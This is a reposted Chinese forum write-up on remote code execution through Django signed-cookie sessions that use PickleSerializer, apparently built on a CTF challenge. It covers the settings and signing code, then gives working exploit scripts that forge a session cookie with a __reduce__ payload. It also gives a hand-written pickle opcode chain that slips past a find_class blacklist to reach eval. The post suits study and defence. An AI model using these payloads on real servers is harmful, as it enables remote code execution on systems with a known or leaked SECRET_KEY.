ToB企服应用市场:ToB评测及商务社交产业平台

标题: 由Django-Session配置引发的反序列化安全问题 [打印本页]

---

作者: 民工心事    时间: 2023-11-9 18:34
标题: 由Django-Session配置引发的反序列化安全问题
漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项
SESSION_ENGINE：
在Django中，SESSION_ENGINE 是一个设置项，用于指定用于存储和处理会话（session）数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据，例如：

• 数据库后端 (django.contrib.sessions.backends.db)：会话数据存储在数据库表中。这是Django的默认会话引擎。
  
• 缓存后端 (django.contrib.sessions.backends.cache)：会话数据存储在缓存中，例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
  
• 文件系统后端 (django.contrib.sessions.backends.file)：会话数据存储在服务器的文件系统中。这种方式适用于小型应用，不需要高级别的安全性和性能。
  
• 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies)：会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据，可以提供一定程度的安全性。
  
• 缓存数据库后端 (django.contrib.sessions.backends.cached_db)：会话数据存储在缓存中，并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
  

SESSION_SERIALIZER：
SESSION_SERIALIZER 是Django设置中的一个选项，用于指定Django如何对会话（session）数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制，例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER，您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式，包括以下常用的选项：

• 'django.contrib.sessions.serializers.JSONSerializer'：使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式，具有良好的可读性和跨平台兼容性。
  
• 'django.contrib.sessions.serializers.PickleSerializer'：使用Python标准库中的pickle模块来序列化和反序列化会话数据。
  

那么上述配置项的意思就是使用cookie来存储session的签名，然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块：（Django==2.2.5）
主要看看函数参数即可

key：验签中的密钥
serializer：指定序列化和反序列化类

1. def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
2.    """
3.    Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
4.    None, use settings.SECRET_KEY instead.
5. ​
6.    If compress is True (not the default), check if compressing using zlib can
7.    save some space. Prepend a '.' to signify compression. This is included
8.    in the signature, to protect against zip bombs.
9. ​
10.    Salt can be used to namespace the hash, so that a signed string is
11.    only valid for a given namespace. Leaving this at the default
12.    value or re-using a salt value across different parts of your
13.    application without good cause is a security risk.
14. ​
15.    The serializer is expected to return a bytestring.
16.    """
17.    data = serializer().dumps(obj)      # 使用选定的类进行序列化
18. ​
19.    # Flag for if it's been compressed or not
20.    is_compressed = False
21.    
22.    # 数据压缩处理
23.    if compress:
24.        # Avoid zlib dependency unless compress is being used
25.        compressed = zlib.compress(data)
26.        if len(compressed) < (len(data) - 1):
27.            data = compressed
28.            is_compressed = True
29.    base64d = b64_encode(data).decode()         # base64编码 decode转化成字符串
30.    if is_compressed:
31.        base64d = '.' + base64d
32.    return TimestampSigner(key, salt=salt).sign(base64d)    # 返回一个签名值
33. ​
34. ​
35. # loads的过程为dumps的逆过程
36. def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
37.    """
38.    Reverse of dumps(), raise BadSignature if signature fails.
39. ​
40.    The serializer is expected to accept a bytestring.
41.    """
42.    # TimestampSigner.unsign() returns str but base64 and zlib compression
43.    # operate on bytes.
44.    base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
45.    decompress = base64d[:1] == b'.'
46.    if decompress:
47.        # It's compressed; uncompress it first
48.        base64d = base64d[1:]
49.    data = b64_decode(base64d)
50.    if decompress:
51.        data = zlib.decompress(data)
52.    return serializer().loads(data)

复制代码

看看两个签名的类：
在Signer类中中：

1. class Signer:
2. ​
3.    def __init__(self, key=None, sep=':', salt=None):
4.        # Use of native strings in all versions of Python
5.        self.key = key or settings.SECRET_KEY   # key默认为settings中的配置项           
6.        self.sep = sep
7.        if _SEP_UNSAFE.match(self.sep):
8.            raise ValueError(
9.                'Unsafe Signer separator: %r (cannot be empty or consist of '
10.                'only A-z0-9-_=)' % sep,
11.            )
12.        self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
13. ​
14.    def signature(self, value):
15.        # 利用salt、value、key做一次签名
16.        return base64_hmac(self.salt + 'signer', value, self.key)
17. ​
18.    def sign(self, value):
19.        return '%s%s%s' % (value, self.sep, self.signature(value))
20. ​
21.    def unsign(self, signed_value):
22.        if self.sep not in signed_value:
23.            raise BadSignature('No "%s" found in value' % self.sep)
24.        value, sig = signed_value.rsplit(self.sep, 1)
25.        if constant_time_compare(sig, self.signature(value)):
26.            return value
27.        raise BadSignature('Signature "%s" does not match' % sig)

复制代码

还有一个是时间戳的验签部分

1. class TimestampSigner(Signer):
2. ​
3.    def timestamp(self):
4.        return baseconv.base62.encode(int(time.time()))
5. ​
6.    def sign(self, value):
7.        value = '%s%s%s' % (value, self.sep, self.timestamp())
8.        return super().sign(value)
9. ​
10.    def unsign(self, value, max_age=None):
11.        """
12.        Retrieve original value and check it wasn't signed more
13.        than max_age seconds ago.
14.        """
15.        result = super().unsign(value)
16.        value, timestamp = result.rsplit(self.sep, 1)
17.        timestamp = baseconv.base62.decode(timestamp)
18.        if max_age is not None:
19.            if isinstance(max_age, datetime.timedelta):
20.                max_age = max_age.total_seconds()
21.            # Check timestamp is not older than max_age
22.            age = time.time() - timestamp
23.            if age > max_age:
24.                raise SignatureExpired(
25.                    'Signature age %s > %s seconds' % (age, max_age))
26.        return value

复制代码

时间戳主要是为了判断session是否过期，因为设置了一个max_age字段，做了差值进行比较
[img=720,634.7240915208614]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558207.png[/img]
漏洞调试

我直接以ez_py的题目环境为漏洞调试环境（Django==2.2.5）
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
　① 网安学习成长路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC漏洞分析报告
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂面试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
老惯例，先看栈帧
django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类，协助处理了HTTP请求

AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份
[img=720,236.30769230769232]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558833.png[/img]
随后调用Django auth模块下的get_user函数和_get_user_session_key函数
[img=720,630.2421524663677]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558370.png[/img]
[img=720,101.42506142506143]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558946.png[/img]
随后进行session的字典读取。由于加载session的过程为懒加载过程（lazy load），所以在读取SESSION_KEY的时候会进行_get_session函数运行，从而触发session的反序列化
[img=720,344.92793411118737]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558057.png[/img]
[img=720,344.50765864332607]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558337.png[/img]
[img=720,368.09282088469905]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558582.png[/img]
loads函数中的操作
首先先进行session是否过期的检验，随后base64解码和zlib数据解压缩，提取出python字节码
最后扔入pickle进行字节码解析
[img=720,354.4146685472497]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558012.png[/img]
漏洞利用

首先利用条件如下：
[img=720,119.07455012853471]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191559675.png[/img]
以cookie方式存储session，实现了交互。
以Pickle为反序列化类，触发__reduce__函数的执行，实现RCE
EXP如下：

1. import os
2. import django.core.signing
3. import requests
4. ​
5. ​
6. # from Django.contrib.sessions.serializers.PickleSerializer
7. import pickle
8. class PickleSerializer:
9.    """
10.    Simple wrapper around pickle to be used in signing.dumps and
11.    signing.loads.
12.    """
13.    protocol = pickle.HIGHEST_PROTOCOL
14. ​
15.    def dumps(self, obj):
16.        return pickle.dumps(obj, self.protocol)
17. ​
18.    def loads(self, data):
19.        return pickle.loads(data)
20. ​
21. ​
22. SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
23. salt = "django.contrib.sessions.backends.signed_cookies"
24. ​
25. class exp():
26.    def __reduce__(self):
27.        # 返回一个callable 及其参数的元组
28.        return os.system, (('calc.exe'),)
29. ​
30. _exp = exp()
31. cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
32. print(cookie_opcodes)
33. ​
34. resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

复制代码

[img=720,729.2]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558119.png[/img]
Code-Breaking-Django调试

这道题是P神文章中的题目，题目源码在这：https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸

关于find_class：
简单来说，这是python pickle建议使用的安全策略，这个函数在pickle字节码调用c（即import）时会进行校验，校验函数由自己定义

1. import pickle
2. import io
3. import builtins
4. ​
5. __all__ = ('PickleSerializer', )
6. ​
7. ​
8. class RestrictedUnpickler(pickle.Unpickler):
9.    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
10. ​
11.    def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
12.        # Only allow safe classes from builtins.
13.        if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
14.            return getattr(builtins, name)
15.        # Forbid everything else.
16.        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
17.                                     (module, name))
18. ​
19. ​
20. class PickleSerializer():
21.    def dumps(self, obj):
22.        return pickle.dumps(obj)
23. ​
24.    def loads(self, data):
25.        try:
26.            # 校验data是否为字符串
27.            if isinstance(data, str):
28.                raise TypeError("Can't load pickle from unicode string")
29.            file = io.BytesIO(data)                     # 读取data
30.            return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
31.        except Exception as e:
32.            return {}

复制代码

第一是要手撕python pickle opcode绕过find_class，这个过程使用到了getattr函数，这个函数有如下用法

1. class Person:
2.     def __init__(self, name):
3.         self.name = name
4. ​
5. # 获取对象属性值
6. person = Person("Alice")
7. name = getattr(person, "name")
8. print(name)
9. ​
10. # 调用对象方法
11. a = getattr(builtins, "eval")
12. a("print(1+1)")
13. ​
14. ​
15. # 可以设置default值
16. age = getattr(person, "age", 30)
17. print(age)
18. ​
19. builtins.getattr(builtins, "eval")("print(1+1)")

复制代码

那么同理，也可以通过getattr调用eval
加载上下文：由于后端在实现时，import了一些包
[img=720,313.49282296650716]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191559017.png[/img]
（这部分包的上下文可以使用globals()函数获得）
所以可以直接导入builtins中的getattr，最终通过获取globals()中的__builtins__来获取eval等

1. getattr = GLOBAL('builtins', 'getattr')     # GLOBAL为导入
2. dict = GLOBAL('builtins', 'dict')      
3. dict_get = getattr(dict, 'get')
4. globals = GLOBAL('builtins', 'globals')
5. builtins = globals()               
6. __builtins__ = dict_get(builtins, '__builtins__')           # 获取真正的__builtins__
7. eval = getattr(__builtins__, 'eval')
8. eval('__import__("os").system("calc.exe")')
9. return

复制代码

[img=720,191.609529343405]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191559814.png[/img]
查看Django.core.signing模块，复刻sign写exp

1. from django.core import signing
2. import pickle
3. import io
4. import builtins
5. import zlib
6. import base64
7. ​
8. PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
9. ​
10. SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
11. salt = "django.contrib.sessions.backends.signed_cookies"
12. ​
13. ​
14. def b64_encode(s):
15.    return base64.urlsafe_b64encode(s).strip(b"=")
16. ​
17. base64d = b64_encode(PayloadToBeEncoded).decode()
18. ​
19. def exp(key, payload):
20.    global salt
21.    # Flag for if it's been compressed or not.
22.    is_compressed = False
23.    compress = False
24.    if compress:
25.        # Avoid zlib dependency unless compress is being used.
26.        compressed = zlib.compress(payload)
27.        if len(compressed) < (len(payload) - 1):
28.            payload = compressed
29.            is_compressed = True
30.    base64d = b64_encode(payload).decode()
31.    if is_compressed:
32.        base64d = "." + base64d
33.    session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
34.    print(session)

复制代码

然后传session即可。
更多网安技能的在线实操练习，请点击这里>>
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！

---

欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)

Powered by Discuz! X3.4